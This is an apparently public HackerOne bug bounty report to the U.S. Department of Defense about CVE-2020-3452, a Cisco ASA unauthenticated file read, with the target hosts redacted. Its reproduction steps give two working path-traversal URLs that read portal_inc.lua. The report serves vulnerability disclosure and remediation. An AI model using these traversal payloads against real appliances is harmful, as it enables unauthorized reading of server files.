HexBrain

U.S. Dept Of Defense · Report #1555015

[CVE-2020-3452] Unauthenticated file read in Cisco ASA

Validstatus
highseverity
4upvotes
12 May 2022disclosed

How it was found

i found out that https://█████/ was vulnerable to CVE-2020-3452

The IP has a SSL certificate pointing to ██████████ curl -kv https://███████/

Output;

Server certificate:
███

Impact

Anyone can read any file present on the server.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-3452

Steps to Reproduce

You can test it by visiting the URL:

  1. https://█████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
  2. https://█████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Suggested Mitigation/Remediation Actions

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original